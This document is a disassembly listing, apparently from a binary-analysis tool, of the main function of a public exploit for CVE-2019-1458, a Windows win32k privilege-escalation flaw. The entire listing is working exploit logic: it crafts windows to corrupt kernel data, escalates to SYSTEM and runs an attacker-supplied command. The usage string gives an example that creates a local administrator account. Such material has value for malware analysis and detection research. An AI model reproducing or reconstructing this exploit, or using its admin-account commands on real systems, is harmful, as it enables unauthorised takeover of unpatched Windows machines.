Function at 0x140001220
Capabilities:
Accept command line arguments
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Log keystrokes via polling
Read file on windows
Terminate process

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0xc340]
mov eax, 0xc440
call fcn.140008950
sub rsp, rax
mov rax, qword [0x1400163c0]
xor rax, rsp
mov qword [rbp + 0xc320], rax
xor ebx, ebx
mov qword [rbp - 0x80], rbx
mov dword [rbp + 0xd0], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rbp + 0xd0]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea rcx, str.CVE_2019_1458_exploit_by__unamer_https:__github.com_unamer_
mov rdi, rax
mov qword [rsp + 0x70], rax
call fcn.1400021cc
cmp dword [rbp + 0xd0], 2
je 0x1400012a3
mov rdx, qword [rdi]
lea rcx, str.Usage:__S_command_nExample:__S__net_user_admin_admin__ad__net_user_localgroup_administrators_admin__ad__n_nWARNING:_YOU_ONLY_HAVE_ONE_CHANCE___
mov r8, rdx
call fcn.140002120
or eax, 0xffffffff
jmp 0x1400015f5
xor eax, eax
lea rdi, [rbp + 0xe0]
mov ecx, 0x114
rep stosb byte [rdi], al
lea rcx, str.ntdll
mov dword [rbp + 0xe0], 0x114
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.RtlGetVersion
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0xe0]
call rax
mov edx, dword [rbp + 0xe4]
mov r8d, dword [rbp + 0xe8]
cmp edx, 6
jne 0x140001bea
mov qword [rsp + 0xc470], r13
test r8d, r8d
jne 0x140001337
mov ebx, 1
mov r13d, 0x210
mov qword [rsp + 0x60], 0x208
mov dword [0x1400175ac], 0x1081
mov dword [0x1400175b0], 0x1007
mov qword [rbp - 0x80], rbx
jmp 0x1400013be
cmp r8d, 1
jne 0x140001365
mov edi, 0x208
mov ebx, 1
mov dword [0x1400175ac], 0x107f
lea r13d, [rdi + 8]
mov dword [0x1400175b0], 0x1007
mov qword [rbp - 0x80], rbx
jmp 0x1400013b9
cmp r8d, 2
jne 0x140001390
mov qword [rsp + 0x60], 0x348
mov r13d, 0x220
mov dword [0x1400175ac], 0x107f
mov dword [0x1400175b0], 0x1008
jmp 0x1400013be
cmp r8d, 3
jne 0x140001bcf
mov edi, 0x348
mov r13d, 0x220
mov dword [0x1400175ac], 0x1080
mov dword [0x1400175b0], 0x1009
mov qword [rsp + 0x60], rdi
call fcn.140001000
test eax, eax
jne 0x1400013dd
lea rcx, str.____Failed_to_locate_HmValidateHandle__exiting_n
call fcn.140002120
mov eax, 1
jmp 0x1400015ed
mov qword [rsp + 0xc460], rsi
lea rsi, [rbx*8]
mov edi, 0xc00000
mov rcx, rsi
mov edx, 0x1000
mov r9d, 4
shl rdi, cl
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
cmp rax, rdi
jne 0x140001447
mov rcx, rsi
mov edi, 0xc10000
mov edx, 0x1000
shl rdi, cl
mov r9d, 4
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
cmp rax, rdi
je 0x14000146c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_map_0x_p__0x_p___exiting___llx__n
mov r8, rbx
mov r9d, eax
mov rdx, rdi
call fcn.140002120
mov eax, 2
jmp 0x1400015e5
mov eax, dword [0x140014688]
movsd xmm0, qword [str.unamer]
mov qword [rsp + 0xc468], r12
mov dword [rbp + 0x218], eax
movzx eax, word [0x14001468c]
lea rdi, [rbp - 0x40]
movsd qword [rbp + 0x210], xmm0
mov word [rbp + 0x21c], ax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
xor ecx, ecx
mov qword [rsp + 0xc438], r14
mov qword [rsp + 0xc430], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [sym.imp.USER32.dll_DefWindowProcW]
mov r12, rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x38], rcx
lea rax, [rbp + 0x210]
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x2c], 0x3000
mov qword [rbp], rax
mov dword [rbp - 0x30], 0x3000
call qword [sym.imp.USER32.dll_RegisterClassW]
xor edi, edi
lea r8, str.unamer
lea rdx, [rbp + 0x210]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r15, rax
test rax, rax
je 0x1400015b4
nop
mov edx, 1
mov rcx, r15
call qword [0x140018830]
mov rsi, qword [rax + 0x20]
mov r14, qword [rax + 0x98]
mov rbx, rsi
sub rbx, r14
lea rax, [rbx - 1]
cmp rax, 0xffffe
jbe 0x14000160f
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
lea r8, str.unamer
lea rdx, [rbp + 0x210]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r15, rax
test rax, rax
jne 0x140001540
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateWindowEx_error_0x_x__n
mov edx, eax
call fcn.140002120
mov eax, 3
mov r14, qword [rsp + 0xc438]
mov r12, qword [rsp + 0xc468]
mov r15, qword [rsp + 0xc430]
mov rsi, qword [rsp + 0xc460]
mov r13, qword [rsp + 0xc470]
mov rcx, qword [rbp + 0xc320]
xor rcx, rsp
call fcn.140001c60
add rsp, 0xc440
pop rdi
pop rbx
pop rbp
ret
lea rcx, str.___tagWND:_0x_p__tagCLS:0x_p__gap:0x_llx_n
mov r9, rbx
mov r8, r14
mov rdx, rsi
call fcn.140002120
xor eax, eax
lea rdi, [rbp + 0x10]
mov ecx, 0x50
rep stosb byte [rdi], al
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
lea rdi, str.SploitWnd
lea rcx, str.___Registering_window_n
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x28], r12
mov dword [rbp + 0x10], 0x50
mov qword [rbp + 0x50], rdi
mov dword [rbp + 0x24], 8
call fcn.140002120
lea rcx, [rbp + 0x10]
call qword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
je 0x140001c00
lea rcx, str.___Creating_instance_of_this_window_n
call fcn.140002120
xor eax, eax
lea r8, [0x140014768]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
mov r9d, 0x10000000
mov rdx, rdi
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdi, rax
mov qword [rsp + 0x68], rax
cmp rax, 0xffffffffffffffff
je 0x140001c15
lea rcx, str.___Calling_NtUserMessageCall_to_set_fnid__0x2A0_on_window_0x_p_n
mov rdx, rax
call fcn.140002120
xor r9d, r9d
mov dword [rsp + 0x30], 1
lea edx, [r9 + 1]
xor r8d, r8d
mov rcx, rdi
mov dword [rsp + 0x28], 0xe0
mov qword [rsp + 0x20], 0
call fcn.140001c30
lea rcx, str.___Calling_SetWindowLongPtr_to_set_window_extra_data__that_will_be_later_dereferenced_n
call fcn.140002120
mov r8, r14
xor edx, edx
sub r8, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.___GetLastError___x_n
mov edx, eax
call fcn.140002120
lea rcx, str.___Creating_switch_window_32771__this_has_a_result_of_setting__gpsi0x154___0x130_n
call fcn.140002120
xor eax, eax
lea r8, [0x140014768]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov edx, 0x8003
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea rcx, str.___Simulating_alt_key_press_n
call fcn.140002120
lea rcx, [rbp + 0x220]
call qword [sym.imp.USER32.dll_GetKeyboardState]
or byte [rbp + 0x232], 0x80
lea rcx, [rbp + 0x220]
call qword [sym.imp.USER32.dll_SetKeyboardState]
lea rcx, str.___Triggering_dereference_of_wnd__extraData_by_calling_NtUserMessageCall_second_time_n
call fcn.140002120
xor eax, eax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], eax
lea edx, [rax + 0x14]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.140001c30
lea r8, [rsi + 0x20]
lea edx, [rbx + 0x40]
mov rcx, r15
call qword [sym.imp.USER32.dll_SetClassLongPtrW]
lea rdx, [rbp + 0x200]
mov rcx, r15
mov qword [rsp + 0x78], rax
xor eax, eax
mov qword [rbp + 0x200], 0
lea r8d, [rax + 8]
mov qword [rbp + 0x208], rax
call qword [sym.imp.USER32.dll_InternalGetWindowText]
cmp qword [rbp + 0x200], rsi
jne 0x140001ba4
mov edx, 1
mov rcx, rdi
call qword [0x140018830]
lea rcx, str.___tagWND:_0x_p_n
mov rdi, qword [rax + 0x20]
mov rdx, rdi
call fcn.140002120
lea rcx, str.___Exploit_success__n
call fcn.140002120
xor edx, edx
lea rcx, [rdi + 0x40]
lea r8d, [rdx + 4]
add rbx, 0x40
mov qword [0x140018828], r15
mov qword [0x140018820], rbx
call fcn.1400010c0
lea rcx, [r14 + 0x68]
mov r8d, 8
mov rdx, r12
call fcn.1400010c0
mov rdx, qword [sym.imp.USER32.dll_DefWindowProcW]
lea rcx, [r14 + 0x58]
mov r8d, 8
call fcn.1400010c0
lea rcx, [rsi + 0x58]
call fcn.1400011b0
lea rcx, [rax + 0x10]
call fcn.1400011b0
mov rcx, rax
call fcn.1400011b0
lea rcx, [rax + r13]
call fcn.1400011b0
mov rdi, qword [rsp + 0x60]
lea rcx, [rdi + rax]
call fcn.1400011b0
lea rcx, [rsi + 0x10]
mov r14, rax
call fcn.1400011b0
mov rcx, rax
call fcn.1400011b0
lea rcx, [rax + r13]
call fcn.1400011b0
lea rbx, [rax + rdi]
lea rcx, [rbx + 8]
call fcn.1400011b0
mov r8d, 8
mov rdx, r14
mov rcx, rbx
mov rdi, rax
call fcn.1400010c0
lea rcx, [rbx + 8]
mov r8d, 8
mov rdx, rdi
call fcn.1400010c0
mov r8, qword [rsp + 0x78]
mov edx, dword [0x140018820]
mov rcx, r15
call qword [sym.imp.USER32.dll_SetClassLongPtrW]
mov rcx, r15
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rcx, qword [rsp + 0x68]
xor esi, esi
mov qword [0x140018828], rsi
call qword [sym.imp.USER32.dll_DestroyWindow]
lea rcx, [rbp + 0x210]
xor edx, edx
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, str.SploitWnd
xor edx, edx
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x2321]
xor edx, edx
mov r8d, 0x9fff
mov byte [rbp + 0x2320], sil
call fcn.140008a30
lea rdi, [rbp + 0x60]
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rdi, [rbp - 0x58]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x70]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rbp - 0x80]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x78]
xor r9d, r9d
mov edi, esi
mov dword [rbp - 0x70], 0x18
mov qword [rbp - 0x68], rsi
mov dword [rbp - 0x60], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1400019e9
lea eax, [rsi - 3]
jmp 0x1400015cd
mov rbx, qword [rsp + 0x70]
lea rcx, str.___Trying_to_execute__s_as_SYSTEM_n
mov rdx, qword [rbx + 8]
call fcn.14000205c
lea rcx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x68
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rbp - 0x78]
lea rcx, [rbp + 0x322]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xb8], rax
lea rax, str.WinSta0Default
xor edx, edx
mov r8d, 0x1ffe
mov word [rbp + 0xa0], si
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x9c], 0x101
mov word [rbp + 0x320], si
call fcn.140008a30
mov rdx, qword [rbx + 8]
lea rcx, [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp - 0x58]
lea rdx, [rbp + 0x320]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp - 0x78]
test eax, eax
jne 0x140001adc
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcessW_Failed___lx__n
mov edx, eax
call fcn.140002120
mov eax, 0xfffffffe
jmp 0x1400015cd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp - 0x48]
lea rcx, str.___ProcessCreated_with_pid__d__n
call fcn.140002120
mov rcx, qword [rbp - 0x80]
lea r9, [rbp + 0xd4]
lea rdx, [rbp + 0x2320]
mov r8d, 0xfa0
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001b53
nop dword [rax + rax]
add edi, dword [rbp + 0xd4]
mov rcx, qword [rbp - 0x80]
lea rdx, [rbp + 0x2320]
movsxd rax, edi
lea r9, [rbp + 0xd4]
mov r8d, 0xfa0
add rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001b20
lea rcx, [0x140014a28]
call fcn.1400021cc
lea rcx, [rbp + 0x2320]
call fcn.1400021cc
call fcn.140001d48
lea rcx, [rax + 0x30]
call fcn.140001f30
call fcn.140001d48
lea rcx, [rax + 0x60]
call fcn.140001f30
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp + 0x200]
lea rcx, str.____Exploit_fail__test:0x_p_tagWND:0x_p__error:0x_lx_n
mov r9d, eax
mov r8, rsi
call fcn.140002120
mov ecx, 0xfffffffb
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.____This_version_of_system_was_not_supported___d._d__n
mov edx, 6
call fcn.140002120
mov eax, 0xffffff9d
jmp 0x1400015ed
lea rcx, str.____This_version_of_system_was_not_supported___d._d__n
call fcn.140002120
mov eax, 0xffffff9d
jmp 0x1400015f5
lea rcx, str.____Failed_registering_SploitWnd_window_class_n
call fcn.140002120
or ecx, 0xffffffff
call fcn.140002728
int3
lea rcx, str.____Failed_to_create_SploitWnd_window_n
call fcn.140002120
or ecx, 0xffffffff
call fcn.140002728
int3